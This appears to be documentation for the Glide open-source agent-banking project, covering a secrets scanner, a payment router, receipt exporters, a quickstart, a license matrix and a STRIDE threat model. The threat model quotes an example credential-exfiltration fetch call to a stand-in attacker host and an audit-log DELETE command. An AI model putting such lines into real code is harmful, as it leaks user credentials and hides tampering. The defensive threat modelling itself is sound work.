import { scan } from '@glideco/secrets-scan';
const result = scan(
'key=AKIAIOSFODNN7EXAMPLE token=ghp_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'
);
console.log(result.redactions);
// [
// { kind: 'aws-access-key', match: 'AKIAIOSFODNN7EXAMPLE', start: 4, end: 24, reason: 'denylist' },
// { kind: 'github-pat', match: 'ghp_xxxx...', start: 32, end: 69, reason: 'denylist' },
// ]
console.log(result.redacted);
// 'key=[REDACTED:aws-access-key] token=[REDACTED:github-pat]'
```
## Tuning the entropy pass
```ts theme={null}
import { scan } from '@glideco/secrets-scan';
// Turn off entropy for inputs that are naturally high-entropy
// (e.g. base64-encoded binary payloads, transaction hashes).
const result = scan(txHashHeavyLogLine, { disableEntropy: true });
// Tighten entropy threshold (default 4.5 bits/char, default min length 30).
const strict = scan(inputText, {
entropyBitsPerChar: 4.8,
entropyMinLength: 40,
});
```
## Custom redaction marker
```ts theme={null}
import { scan } from '@glideco/secrets-scan';
const result = scan(input, {
marker: (kind) => ``,
});
// → 'prefix suffix'
```
## Concurrent safety
Each `scan()` call clones every denylist regex so concurrent invocations
cannot race on the shared `lastIndex` state of a stateful global `RegExp`.
The Trust Console event ingestion path runs `scan()` in parallel under load —
sharing `lastIndex` would make the second concurrent scan's first-match index
non-deterministic, silently letting secrets through.
## Two-pass design
**Pass 1 — denylist.** 14 patterns, each with its own cloned `RegExp` instance.
Shape-only kinds (EVM private key, Solana private key, AWS secret key, Bearer
token) require a contextual word on the same line — "private", "secret", "key",
"seed", "Bearer" — so the scanner doesn't redact every transaction hash that
happens to be a 64-hex string.
**Pass 2 — entropy.** Shannon entropy (bits/character) on whitespace-tokenized
fragments not already covered by a denylist redaction range. Default threshold
is 4.5 bits/char over at least 30 characters — high enough to catch typical
API key formats, low enough to avoid false-positives on English prose.
```ts theme={null}
import { shannonEntropyBitsPerChar } from '@glideco/secrets-scan';
// Inspect the entropy score of a specific string.
const score = shannonEntropyBitsPerChar('sk-ant-api03-abcdef1234567890');
// → ~4.8 (above the 4.5 default threshold)
```
## CI gate
The Cathedral CI pipeline runs `node scripts/scan-secrets.mjs` on every PR.
The script calls `scan()` on all staged file contents and exits non-zero on
any redaction. Use `disableEntropy: true` on directories that legitimately
contain long base64 blobs (e.g. `test/fixtures/`).
## Reading list
* [Trust Console concepts](/docs/oss/concepts/trust-console) — how `ReasoningStepEvent` excerpts flow through the scanner before persistence.
* [Source on GitHub](https://github.com/darshanbathija/axtior-neobank/tree/main/packages/secrets-scan)
# @glideco/smart-router
Source: https://glide-9da73dea.mintlify.app/oss/packages/smart-router
Pure-function payment rail selection. Cheapest-first sort, latency tiebreaker, internal-vault short-circuit, policy filtering.
Pure-function core of `glide.pay()`. Takes pre-quoted rail candidates and returns a ranked failover list — or immediately short-circuits to a free internal transfer when the destination is a same-entity Glide vault on the same chain.
No IO. The 50ms quote-race timeout and connector dispatch live in the caller. The router's job is to sort, filter, and truncate.
## Install
```bash theme={null}
npm install @glideco/smart-router
```
[npmjs.com/package/@glideco/smart-router](https://www.npmjs.com/package/@glideco/smart-router)
## Why pure functions
The router executes in the hot path of every `glide.pay()` call. Keeping it IO-free means it's O(N) sort + filter, deterministic, and testable without network stubs. The caller owns the quote-fetch race, the `pay_attempts` claim loop, and the saga reaper. The router only decides order.
Separating the decision from the dispatch also makes the double-spend contract explicit: the router returns a list; the caller must claim each attempt atomically in the `pay_attempts` table and wait for on-chain confirmation before failing over. A naive `catch → next candidate` loop can double-spend across rails if a broadcast succeeded but the HTTP response was dropped. That contract is documented in `router.ts` and enforced via tests in `apps/web/tests/smart-router-dispatch-contract.test.ts`.
## Rails
The `rail` enum covers the full Glide payment surface: `x402-evm`, `x402-svm`, `x402-stellar`, `x402-tempo`, `mpp-tempo`, `mpp-svm`, `mpp-session`, `stripe-mpp`, `lightning`, `internal`, `self-custody-evm`, `self-custody-svm`, `self-custody-xchain`.
## API surface
### `routePayment(args): RouteDecision`
```ts theme={null}
import { routePayment } from '@glideco/smart-router';
const decision = routePayment({
intent: {
amount_cents: 5000,
destination: '0xabc...def',
chain: 'base',
currency: 'USDC',
urgency: 'normal',
idempotency_key: 'pay_2024_invoice_007',
},
candidates: [
{
connector_slug: 'bridge',
rail: 'x402-evm',
quoted_fee_cents: 12,
quoted_latency_p95_ms: 800,
is_fiat: false,
has_quote_side_effect: false,
},
{
connector_slug: 'monerium',
rail: 'mpp-tempo',
quoted_fee_cents: 5,
quoted_latency_p95_ms: 1200,
is_fiat: false,
has_quote_side_effect: false,
},
],
policy: {
fiat_only: false,
crypto_only: false,
allowed_connector_slugs: [],
exclude_side_effecting_from_failover: true,
max_failover_attempts: 4,
},
is_internal_vault: false,
});
// decision.ordered[0].connector_slug → 'monerium' (cheaper)
// decision.reason → '2 candidates after policy filter; sorted by fee ASC...'
```
### Internal-vault short-circuit
When `is_internal_vault` is `true`, the router returns a single `glide-internal` candidate with zero fee and 50ms p95 latency — no quote-race, no failover, no vendor call.
```ts theme={null}
const decision = routePayment({
intent,
candidates,
policy,
is_internal_vault: true,
});
if (isInternalVaultRoute(decision)) {
// decision.ordered[0].rail === 'internal'
// decision.ordered[0].quoted_fee_cents === 0
}
```
### Policy filtering
```ts theme={null}
// Crypto-only, limited to two connectors, 2 failover attempts max
const decision = routePayment({
intent,
candidates,
is_internal_vault: false,
policy: {
fiat_only: false,
crypto_only: true,
allowed_connector_slugs: ['bridge', 'monerium'],
exclude_side_effecting_from_failover: true,
max_failover_attempts: 2,
},
});
```
`fiat_only` and `crypto_only` are mutually exclusive — the schema rejects both being `true` at parse time rather than silently returning an empty list.
## Receipt shapes
The package exports two discriminated receipt schemas for the post-dispatch audit writer: `OnchainReceipt` (`kind: 'onchain'` — txHash, verified amount, verified recipient) and `FiatReceipt` (`kind: 'fiat'` — vendor tx id, `settlement_status`). Use `SmartRouterSchemas.receipt` to parse the right shape.
## Side-effecting connectors
Some connectors create vendor-side state during the quote phase (Aeon's `prepareOfframp` creates a vendor order; Manteca creates a vendor-side order ID). These must be excluded from the failover pool — a failed-over retry would leave a phantom order that requires manual cleanup. Pass `has_quote_side_effect: true` on those candidates and `exclude_side_effecting_from_failover: true` on the policy. The router drops them entirely; route them via a dedicated direct-dispatch path instead.
## Reading list
* [`@glideco/parley-tiers`](/docs/oss/packages/parley-tiers) — projects router output into a turbo/fast/batch tier vocabulary for agent chooser UIs.
* [`@glideco/crosschain-bridge`](/docs/oss/packages/crosschain-bridge) — quote + dispatch shapes for cross-chain candidates fed into this router.
* [Agent Policy Envelope schema](/docs/oss/standards/agent-policy-envelope) — the policy format agents carry.
* [Source on GitHub](https://github.com/darshanbathija/axtior-neobank/tree/main/packages/smart-router)
# @glideco/spend-export
Source: https://glide-9da73dea.mintlify.app/oss/packages/spend-export
Typed receipt schema + CSV / JSON Lines / QBO IIF / Xero exports for agent spend. costillery-compatible with Glide augmentations.
Typed Zod schema for agent spend receipts, with four export targets: RFC 4180 CSV, JSON Lines, QuickBooks IIF, and Xero CSV. The schema adopts the costillery receipt shape and augments it with fields the agent-banking standards layer requires: `correlationId`, `agentId`, `grantId`, `taxJurisdiction`, `realizedGainUsdCents`.
Zero runtime dependencies beyond `zod`.
## Install
```bash theme={null}
npm install @glideco/spend-export
```
[npmjs.com/package/@glideco/spend-export](https://www.npmjs.com/package/@glideco/spend-export)
## Why a shared schema
The agent-spend ecosystem fragmented early — every receipt-intel package chose its own field names, and two weeks later no two systems agreed on whether the fee field was `fee`, `feeAmount`, `fee_usd`, or omitted. This package pins the canonical column order, enforces ISO 4217 uppercase currency codes (lowercase `'usd'` breaks downstream tax-exporter cache keys), and validates MCC codes as exactly 4 ASCII digits (not `'ABCD'`). Callers that violate these constraints get a parse error at the boundary rather than a silent wrong export.
The `realizedGainUsdCents` field is bounded to ±\$100B per receipt. A stale price-oracle returning a nonsensical value would otherwise push phantom billion-dollar gains into the user's tax export without any visible warning.
## Schema
```ts theme={null}
import { parseSpendReceipt, type SpendReceipt } from '@glideco/spend-export';
const receipt = parseSpendReceipt({
schemaVersion: '0.1.0',
id: 'a1b2c3d4-e5f6-7890-abcd-ef1234567890',
occurredAt: '2026-04-30T14:22:00Z',
amountCents: 4999,
currency: 'USD',
rail: 'x402',
counterparty: {
name: 'Anthropic API',
country: 'US',
taxIdType: 'ein',
taxIdValue: '12-3456789',
},
statementDescriptor: 'ANTHROPIC*API',
correlationId: 'mcp_audit_7f8e9d2a',
agentId: 'c1a2b3d4-e5f6-7890-abcd-ef1234567890',
grantId: 'd4e5f6a7-b8c9-0123-abcd-ef1234567890',
taxJurisdiction: 'US-CA',
realizedGainUsdCents: 0,
});
```
## Exporting
### CSV
```ts theme={null}
import { exportCsv } from '@glideco/spend-export';
const csv = exportCsv(receipts);
// → RFC 4180 CSV with 16 canonical columns:
// id, occurredAt, amountCents, currency, rail, counterpartyName,
// counterpartyCountry, statementDescriptor, mcc, correlationId,
// agentId, grantId, taxJurisdiction, realizedGainUsdCents, txHash, memo
```
### QuickBooks IIF
```ts theme={null}
import { exportQboIif } from '@glideco/spend-export';
const iif = exportQboIif(receipts);
// TRNS/SPL/ENDTRNS format. Imports under Banking → File →
// Utilities → Import → IIF Files.
// Glide-augmentation fields (correlationId, agentId, grantId)
// carried in the MEMO column so they survive a plain-QBO import.
```
IIF fields containing tabs or newlines would inject phantom transaction rows. The exporter strips C0 control characters from every interpolated value before the tab-join.
### Xero CSV
```ts theme={null}
import { exportXeroCsv } from '@glideco/spend-export';
const xero = exportXeroCsv(receipts);
// Xero's column layout (*Date, *Amount, Payee, Description,
// Reference, Cheque No.) — different from the canonical CSV.
```
### JSON Lines + aggregation
```ts theme={null}
import {
exportJsonLines,
aggregateBy,
summarizeRealizedGains,
} from '@glideco/spend-export';
// One JSON receipt per line — for warehouse ingestion.
const jsonl = exportJsonLines(receipts);
// Group by agent, get count + total spend per agent.
const byAgent = aggregateBy(receipts, (r) => r.agentId);
// Crypto rail realized gain summary.
const gains = summarizeRealizedGains(receipts);
// → { totalCents: number, byRail: Map }
```
## Rail vocabulary
The `spendRailSchema` covers every Glide payment surface: `card-mastercard`, `card-visa`, `card-amex`, `card-bridge`, `x402`, `mpp-tempo`, `mpp-stellar`, `mpp-solana`, `mpp-lightning`, `stripe-spt`, `sepa`, `ach`, `wire`, `self-custody-evm`, `self-custody-svm`, `self-custody-xchain`.
## Reading list
* [Receipt schema](/docs/oss/standards/receipt) — the canonical Glide receipt shape this package serializes.
* [`@glideco/smart-router`](/docs/oss/packages/smart-router) — the rail that each receipt is attributed to.
* [Source on GitHub](https://github.com/darshanbathija/axtior-neobank/tree/main/packages/spend-export)
# @glideco/ucp-profile
Source: https://glide-9da73dea.mintlify.app/oss/packages/ucp-profile
Builder and parser for the Universal Commerce Profile (UCP) v0.1-2026-04. Publishes the /.well-known/ucp.json discovery document for buyer-agent runtimes.
Builder and parser for the Universal Commerce Profile (UCP), the discovery
layer defined by Google and Shopify that sits above AP2 (mandates) and ACP
(commerce). UCP-aware agent runtimes — Google's commerce-router, Shopify
Sidekick, and 20+ endorsed partners including Wayfair, Target, and Walmart —
fetch `/.well-known/ucp.json` on first contact to learn which mandate types,
payment rails, currencies, regions, and agent-identity formats a merchant
supports before choosing whether to engage.
This package is a wire-format adapter, not the source of truth for the UCP
spec. When UCP ships a new version that breaks the profile schema, a new minor
is published and `UCP_SPEC_VERSION` is bumped. Because this package imports
`AP2_SPEC_VERSION` from `@glideco/ap2-adapter` and `ACP_SPEC_VERSION` from
`@glideco/acp-merchant`, a version bump in either underlying spec propagates to
the published profile automatically.
## Install
```bash theme={null}
npm install @glideco/ucp-profile
```
[npmjs.com/package/@glideco/ucp-profile](https://www.npmjs.com/package/@glideco/ucp-profile)
## What the profile covers
The profile is a JSON document at `/.well-known/ucp.json` that answers the
questions an agent runtime asks before initiating a commerce session:
* **Rails** — which payment rails are accepted (`x402`, `mpp-tempo`, `stripe-spt`, etc.)
* **Protocols** — which commerce protocols the merchant speaks (`ap2`, `acp`, `mcp`, `x402`, `mpp`)
* **Endpoints** — URL + pinned spec version per protocol
* **Mandates** — which AP2 mandate types are accepted (`IntentMandate`, `CartMandate`, `PaymentMandate`)
* **Agent identities** — trusted DID schemes (`did:key`, `did:web`, `erc-8004`)
* **Compliance** — whether OFAC/sanctions screening and KYA checks are active
* **Regions / currencies** — accepted ISO 3166-1 + ISO 4217 / stablecoin ticker sets
The `profileSupports` function lets a smart-router filter profile documents
against required capabilities without loading the full schema each time.
## Spec version
Pinned to UCP **`0.1-2026-04`** — exported as `UCP_SPEC_VERSION`. The
`ucpVersion` field in the served JSON must equal this constant; strict UCP
validators (Google's commerce-router, Shopify Sidekick) reject profiles with
an unrecognized version.
The `protocols` field uses a closed enum from the UCP spec: `ap2`, `acp`,
`mcp`, `x402`, `mpp`. Custom or legacy protocol identifiers must go under an
`x-:` extension namespace, not in the closed enum.
## API surface
| Export | Description |
| ------------------------------------ | ----------------------------------------------------------------------------------------------- |
| `buildUcpProfile(args)` | Build a spec-conformant profile JSON. Defaults match Glide production surface. |
| `parseUcpProfile(input)` | Parse + Zod-validate a remote profile (for smart-router filtering). Throws on schema violation. |
| `profileSupports(profile, required)` | Return `true` if a profile satisfies a required capability set. |
| `UCP_SPEC_VERSION` | `'0.1-2026-04'` — version constant echoed in the profile. |
| `UCP_PROFILE_PATH` | `'/.well-known/ucp.json'` — canonical publish path. |
## Serving the profile
```ts theme={null}
// apps/web/src/app/.well-known/ucp.json/route.ts
import { buildUcpProfile } from '@glideco/ucp-profile';
export async function GET() {
const profile = buildUcpProfile({
domain: 'glide.co',
name: 'Glide',
contactEmail: 'agents@glide.co',
compliance: {
sanctionsScreening: true,
kya: true,
sanctionsProvider: 'chainalysis',
},
sla: { uptime: '99.95%', responseP95Ms: 280 },
});
return Response.json(profile, {
headers: { 'Cache-Control': 'public, max-age=3600' },
});
}
```
The default `rails`, `currencies`, `regions`, `endpoints`, and
`acceptedMandates` match Glide's production surface (USDC/USD/EUR/EURC/IDRX,
US/EU/GB/LATAM/APAC, x402 + MPP + Stripe SPT, all three AP2 mandate types).
Override any field to match a different deployment.
## Filtering profiles in the smart-router
```ts theme={null}
import { parseUcpProfile, profileSupports } from '@glideco/ucp-profile';
async function findCompatibleMerchant(candidates: string[]) {
for (const domain of candidates) {
const res = await fetch(`https://${domain}/.well-known/ucp.json`);
let profile;
try {
profile = parseUcpProfile(await res.json());
} catch {
continue; // schema violation → skip
}
if (profileSupports(profile, {
rails: ['x402'],
currencies: ['USDC'],
regions: ['US'],
mandates: ['IntentMandate'],
})) {
return profile;
}
}
return null;
}
```
## Compliance posture defaults
`buildUcpProfile` defaults `compliance.sanctionsScreening` and `compliance.kya`
to `true`, and `compliance.sanctionsProvider` to `'chainalysis'`. The default
`excludedRegions` list includes IR, KP, SY, and CU (OFAC primary sanctions
programs). Override these when operating under a different regulatory posture.
Country and currency fields are validated as uppercase — lowercase `'us'` or
`'usd'` throws at build time because UCP-aware agent runtimes use byte-equality
on those strings, not case-insensitive comparison.
## Reading list
* [ConnectorManifest standard](/docs/oss/standards/connector-manifest) — how
protocol capabilities are declared for Glide connectors.
* [`@glideco/ap2-adapter`](/docs/oss/packages/ap2-adapter) — mandate protocol
whose version is re-exported by this package.
* [`@glideco/acp-merchant`](/docs/oss/packages/acp-merchant) — commerce
protocol whose version is re-exported by this package.
* [Source on GitHub](https://github.com/darshanbathija/axtior-neobank/tree/main/packages/ucp-profile)
# 90-second quickstart
Source: https://glide-9da73dea.mintlify.app/oss/quickstart
From `git clone` to `localhost:3000/health → 200` in under 90 seconds. Zero vendor signups required.
The Champion-tier quickstart from the OSS Cathedral M3 plan. From a fresh machine with Docker + Node 22 + pnpm installed:
```bash theme={null}
git clone https://github.com/darshanbathija/axtior-neobank.git
cd axtior-neobank
pnpm install
```
```bash theme={null}
docker compose up -d
```
Brings up Postgres 16 on `localhost:5435`, Redis 7 on `localhost:6381`, Inngest dev on `localhost:8288`.
```bash theme={null}
bash scripts/generate-keys.sh > .env.keys
cat .env.keys >> apps/web/.env.local
```
`scripts/generate-keys.sh` emits **dev-only random placeholders** for the JWT secret, webhook secret, and four operational keys. Regenerate with KMS-backed values for production.
Sign up at [privy.io](https://privy.io), create a Multi-tenant tenant, copy the App ID + App Secret into `apps/web/.env.local`:
```env theme={null}
NEXT_PUBLIC_PRIVY_APP_ID=clxxxxxxxxxxxxxx
PRIVY_APP_SECRET=xxxxxxxxxxxxxxxxxxxx
```
```bash theme={null}
bash scripts/run-agent-platform-migrations.sh
```
```bash theme={null}
GLIDE_USE_MOCK_CONNECTORS=true pnpm --filter web dev
```
```bash theme={null}
curl http://localhost:3000/health
# → {"status":"ok"}
pnpm glide doctor
# all checks pass
```
## Alternative: `npx create-glide-app`
```bash theme={null}
npx create-glide-app my-bank
cd my-bank
docker compose up -d
# follow my-bank/README.md for the rest
```
The scaffolder writes a minimal starter (`docker-compose.yml`, `.env.example`, README) that orchestrates the data layer + directs you to `pnpm glide demo` for full bring-up.
## What's mocked in demo mode
`GLIDE_USE_MOCK_CONNECTORS=true` swaps every connector for its sandbox variant. **No real Bridge / Noah / Chainalysis / Alchemy keys required.** The fail-closed audit refuses production `NODE_ENV` unless `GLIDE_ALLOW_MOCKS_IN_PROD=true` is explicitly set.
For a production-shaped stack with real vendors, see [Self-host guide](/oss/self-hosting).
## Next
* [Self-host guide](/oss/self-hosting) — production env posture + deploy targets.
* [Hosted vs self-hosted](/oss/concepts/hosted-vs-self-hosted) — the parity commitment.
* [Agent platform quickstart](/oss/headless/index) — spin up `apps/mcp` for agent banking.
# License compatibility
Source: https://glide-9da73dea.mintlify.app/oss/security/license-compatibility
Accept / warn / block matrix for third-party dependencies. MIT/Apache/BSD/ISC pass; MPL/LGPL/AGPL warn; GPL/SSPL/unlicensed block.
Glide OSS is MIT-licensed. Contributions land under MIT. Third-party dependencies (npm packages, vendor SDKs) are evaluated against the matrix below.
## Matrix
| License | OK to depend on? | OK to redistribute? | Notes |
| ------------------------------------- | ---------------------- | ------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **MIT** | ✅ | ✅ | Glide's own license. Preferred for all dependencies. |
| **Apache-2.0** | ✅ | ✅ | Patent grant + attribution requirements. Compatible. |
| **BSD-2-Clause / BSD-3-Clause** | ✅ | ✅ | Attribution required. Compatible. |
| **ISC** | ✅ | ✅ | Functionally equivalent to MIT. |
| **MPL-2.0** | ✅ (with care) | ✅ | File-level copyleft only — touching an MPL file makes that file MPL but not your other files. Avoid for core surface. |
| **LGPL-3.0** | ⚠️ (dynamic link only) | ⚠️ | LGPL is acceptable as a dynamically-linked dependency but our build is bundled. Treat as warn; reviewer must confirm linking model. |
| **AGPL-3.0** | 🚧 **WARN** | 🚧 | Network-copyleft "infects" hosting obligations for every self-hoster. We don't block AGPL deps but the contributor-PR CI gate **WARNS LOUDLY** on AGPL pulls. Self-hosters carry the AGPL hosting obligation forward. Documented in CI output + this file. |
| **GPL-2.0-only / GPL-3.0-only** | ❌ | ❌ | Strong copyleft. Blocks our MIT redistribution. **Hard CI block** on connector / skill PRs that pull GPL deps. |
| **SSPL-1.0** (MongoDB-style) | ❌ | ❌ | "Service-source-provider" requirement is incompatible with operator-side commercial use. **Hard CI block.** |
| **Commons Clause / "non-commercial"** | ❌ | ❌ | Restricts commercial redistribution. **Hard CI block.** |
| **Proprietary / unlicensed** | ❌ | ❌ | No license = all rights reserved. **Hard CI block.** |
## CI behavior
The `license-compat-scan` CI gate (lands as a follow-up workflow file in M5.5+) walks every new dependency added in a PR and emits one of three signals:
| Signal | Outcome | Examples |
| ------ | ------------------------------------------------- | ---------------------------------------------- |
| `pass` | Build green | MIT, Apache-2.0, BSD-2/3, ISC |
| `warn` | Build green + bot comment requesting reviewer ack | MPL-2.0, LGPL-3.0, AGPL-3.0 |
| `fail` | Build red | GPL-2/3-only, SSPL, Commons Clause, unlicensed |
The GitHub Actions implementation will use a small TypeScript walker over `pnpm-lock.yaml` + each transitive dependency's `package.json` license field, normalized via the SPDX identifier list.
## What about Privy / Bridge / Noah / Chainalysis SDKs?
Vendor SDKs are typically MIT or Apache-2.0 (the standard for client libraries). The vendor's *terms of service* are a separate matter — see each connector's `DISCLAIMER.md` for ToS-redistribution language. License compatibility (this doc) and ToS compatibility (per-connector DISCLAIMER) are orthogonal.
## What if the license is missing?
Treat unlicensed packages as proprietary. The CI gate fails on missing license fields. If you need an unlicensed dep, file an issue with the dependency's maintainer to clarify; don't ship it through Glide CI.
## Operator notes
If you (the self-hoster) **add** an AGPL-licensed connector or skill to your deployment:
* Your deployment falls under the AGPL "interaction over a network" trigger. You owe source disclosure to anyone interacting with the running service.
* This includes the AGPL component's source AND the source of "the larger Program," which is interpreted broadly under AGPL. Talk to a lawyer before going live.
* Glide does not redistribute AGPL packages by default. The CI warn gate is your reminder.
## Where this lives
* This file: human-readable matrix.
* `.github/workflows/license-compat-scan.yml`: the CI implementation (lands in a follow-up).
* `CONTRIBUTING.md`: pre-PR checklist that points contributors here.
# Threat model
Source: https://glide-9da73dea.mintlify.app/oss/security/threat-model
STRIDE pass + IRON RULE F-contract review across 10 surfaces: deposit, send, payout, webhook, admin, MCP gateway, grant issuance, tool-call policy, audit log, public standards.
**Last reviewed:** 2026-04-26 (M0 baseline)
**Methodology:** STRIDE per surface + IRON RULE F-contract review.
**Scope:** orchestration shell — web + worker + mobile + apps/mcp + connectors + agent skills.
This is the v1 baseline that ships in M0. v2 lands at M5 with admin-UI, Trust Console, and partner-contribution surfaces folded in.
## Trust boundaries
```
┌──────────────────────────────────────────────────────────────────────────┐
│ ATTACKER ZONES (untrusted) │
│ • Public internet — anonymous HTTP, scrapers, bot traffic │
│ • Authenticated user — owns `userId`, may attempt entity / vault │
│ escalation │
│ • Compromised AI agent — has scoped grant JWT, attempts policy-bypass │
│ • Malicious connector PR contributor — submits adapter under fork │
│ • Compromised vendor (Bridge, Noah, Chainalysis) — sends valid-looking │
│ webhook payload │
└──────────────────────────────────────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────────────────────────────────────┐
│ INTERNAL ZONES (trusted under fresh-read posture, F3) │
│ • apps/web router — tRPC, NextAuth session │
│ • apps/web admin shell — superadmin role guard │
│ • apps/mcp gateway — Express 5 + JSON-RPC, scoped grant JWT │
│ • Inngest worker — cron + saga reaper │
│ • Postgres — append-only `activity_log` trigger, `connector_settings` │
│ • Redis — rate limiting, velocity aggregation, share-URL revocation │
└──────────────────────────────────────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────────────────────────────────────┐
│ DELEGATED-TRUST ZONES (custodied via timelock, F5/F7) │
│ • Privy programmable signing (EVM + Solana) │
│ • User Safe / Squads multisigs (M-of-N) │
│ • Glide recovery keys (propose-only, 72h Zodiac Delay non-veto) │
│ • Vendor APIs — Bridge, Noah, Chainalysis, Alchemy, Coinbase │
└──────────────────────────────────────────────────────────────────────────┘
```
## STRIDE — high-level pass
| Surface | Spoofing | Tampering | Repudiation | Info Disclosure | Denial of Service | Elevation |
| ------------------------- | -------------------------------------------------------------- | -------------------------------------------------------- | ---------------------------------------------------- | ----------------------------------------------- | ------------------------------------------ | ----------------------------------------------------------------- |
| Deposit (crypto) | Sanctions screening + RPC verify (F1) | Server-side address generation; webhook HMAC | `activity_log` append-only (F4) | Per-user adapter + isolation | Rate limits per user/tenant | `assertVaultNotAgentManaged` blocks user-tRPC drain |
| Send (crypto + fiat) | Two-tier auth (Privy + step-up) | CAS-claim (F2) on `agent_pending_payments` | Append-only + risk annotation (M4) | Per-user keys; never log secrets | Velocity caps in policy envelope | Step-up at amount threshold |
| Card issuance | Vendor-side KYC + screening | Vendor signs card events; webhook HMAC | Append-only | Card details never persisted; only `last4` | Vendor rate limits | Cards bound to user; cannot move to other user |
| Webhook ingest | Per-vendor HMAC verify; replay-resistant within 5min | Body parsed, signature checked first | Inngest event log + `activity_log` | Webhook bodies never logged in plaintext | Inngest backpressure | Webhook can only emit pre-defined event types |
| Admin (`/admin/*`) | NextAuth + `superadmin` role | tRPC mutation typing; Drizzle parametrized queries | Admin actions logged with `app.dsar_context_id` null | Admin sees redacted PII unless DSAR context set | Cookie auth, no public exposure | Non-superadmin → 403 |
| MCP gateway (apps/mcp) | Confused-deputy guard rejects cross-endpoint calls BEFORE auth | JSON-RPC envelope hand-rolled; pinned to spec 2025-11-25 | Append-only via `activity_log` | Tool responses scrubbed by `@repo/secrets-scan` | Upstash token bucket per tenant+tool class | Scoped grant JWT (`act.sub`) + per-call F3 fresh-read tenant |
| Agent grant issuance | OAuth AS (Ory or external-BYO); RFC 9728-compliant | Grant claims in JWT, audience-bound | Grant issuance event in audit log | Refresh tokens never returned to agent runtime | Issuance rate-limited per user | `exp ≤ 60min`, revocation list, scope-narrowing on issue |
| Connector PR contribution | DCO sign-off, signed-commits for verified tier | Manifest Zod validation; egress-host lint | CODEOWNERS | Snyk + Socket scan; license-compat scan | CI parallel matrix (per-gate timeouts) | `trust:` field CODEOWNERS-protected; verified requires signed TPA |
| Skill PR contribution | DCO + signed commits | Manifest validation; tool-scope check | CODEOWNERS | Prompt-injection review checklist | Same parallel matrix | Skill cannot exceed declared policy axes |
## Money-safety F-contracts
The IRON RULES that gate every money-touching operation. Preserve by name + tests in OSS extraction.
| # | Contract | Surface | Where in main |
| -- | ---------------------------------------------- | ----------------------------------------------------- | ------------------------------------------------------------------- |
| F1 | Server-side RPC verify on x402 payments | `apps/mcp/src/tools/x402-pay.ts` | Persists `on_chain_tx` + `amount` from RPC, NEVER from facilitator |
| F2 | CAS-claim before broadcast | `agent_pending_payments` table + tool implementations | No double-broadcast on Inngest re-fire |
| F3 | Fresh-read tenant verification | `@repo/grant-wrapper` | Re-read tenant from DB on every tool invocation |
| F4 | Append-only `activity_log` | Migration `0042_activity_log_agent_cols.sql` | UPDATE/DELETE/TRUNCATE rejected unless `app.dsar_context_id` is set |
| F5 | Atomic policy\_version bump on signer rotation | `apps/mcp/src/tools/vault-rotate-signer.ts` | In-flight tool calls cannot sign against rotated-out signer |
| F7 | Sigil first-use-only | `apps/mcp/src/step-up/sigil.ts` | URL-mode elicitation race defense |
## High-priority threats (M0 baseline)
### T1 — Mock connectors mis-deployed in production
A self-hoster sets `GLIDE_USE_MOCK_CONNECTORS=true` in their production env to debug an issue, forgets to unset it, and real user money flows through deterministic mocks that always succeed.
**Mitigations:** Boot refusal in `NODE_ENV=production` unless `GLIDE_ALLOW_MOCKS_IN_PROD=true`. Red startup banner on the web app's adapter factory + Tier 2 per-user adapter mode resolution. M4: `/admin/connectors` health-check column shows mock-mode prominently.
**Status (M0 — partial):** mitigated in `apps/web` (`createGlobalAdapters`, `createOrchestrationAdapter`, `createKycAdapter`, `createCardAdapter`, `createQrGatewayDispatcher`). Coverage gaps to close in subsequent milestones: workers (Inngest), `apps/mcp` gateway boot, mobile API surface. Self-hosters who run those processes with `GLIDE_USE_MOCK_CONNECTORS=true` set in their env do not yet get the refusal — added to `TODOS.md` for M2.5/M3.
### T2 — Compromised AI agent grant exceeds policy
An agent with a valid scoped grant attempts a transaction outside the policy envelope (over per-tx cap, off-allowlist counterparty, off-allowlist chain, etc.).
**Mitigations:** Triple-enforcement of policy envelope — router pre-check (`@repo/policy-engine`), Privy programmable signing policy (EVM-native + EVM/Solana router-Redis aggregation), on-chain multisig allowlist (derived). All three must agree. **Status:** mitigated by Headless backend in main (PR153), preserved by OSS extraction at M2.5.
### T3 — Connector adapter exfiltrates user credentials
A community connector PR is merged that includes a `fetch('https://attacker.example/exfil', { body: credentials })` call inside its capability methods.
**Mitigations:** Egress-host lint CI gate (M5) parses the connector source via ts-morph and rejects PRs with `fetch`/`axios` targets not declared in `manifest.egressHosts`. Trust tier `community` is off by default; `verified` requires signed TPA. Snyk + Socket supply-chain scans. **Status:** baseline gate exists at M0 (`packages/connectors/_base` enforces manifest shape); CI gates ship at M5.
### T4 — Append-only `activity_log` bypassed via direct DB access
An operator with Postgres credentials runs `DELETE FROM activity_log WHERE ...` to hide an incident.
**Mitigations:** Trigger rejects UPDATE/DELETE/TRUNCATE unless `app.dsar_context_id` is set in the session. The DSAR context is admin-gated and emits a `DSARContextEvent` audit row in the same transaction. **Status:** mitigated by migration 0042 in main; OSS extraction preserves the trigger verbatim.
### T5 — Recovery key exfiltration leads to vault drain
`GLIDE_RECOVERY_EVM_PRIVATE_KEY` or `GLIDE_RECOVERY_SOLANA_PRIVATE_KEY` is exfiltrated; attacker proposes owner-set rotation on user vaults.
**Mitigations:** Recovery keys are PROPOSE-ONLY — they cannot execute without a 72h Zodiac Delay (EVM) / Squads timelock (Solana) AND user non-veto. User receives push notification + email at proposal time + at every 24h tick of the timelock. Self-hosters are instructed to provision their own KMS-backed copies and rotate on a quarterly cadence. **Status:** mitigated by PR150's recovery primitives; OSS preserves the constraint via the `RecoveryProvider` capability shape.
### T6 — Plaintext secrets in connector\_settings or env-file
Self-hoster commits a `.env.local` containing live keys to git.
**Mitigations:** `packages/secrets-scan` denylist + entropy scanner runs in CI on every PR (M5 gate). `connector_settings` schema stores `secretRef: "doppler://..."` only, never plaintext. `.gitignore` covers `.env*` patterns. README + SELF\_HOSTING.md surface the secrets-backend pattern.
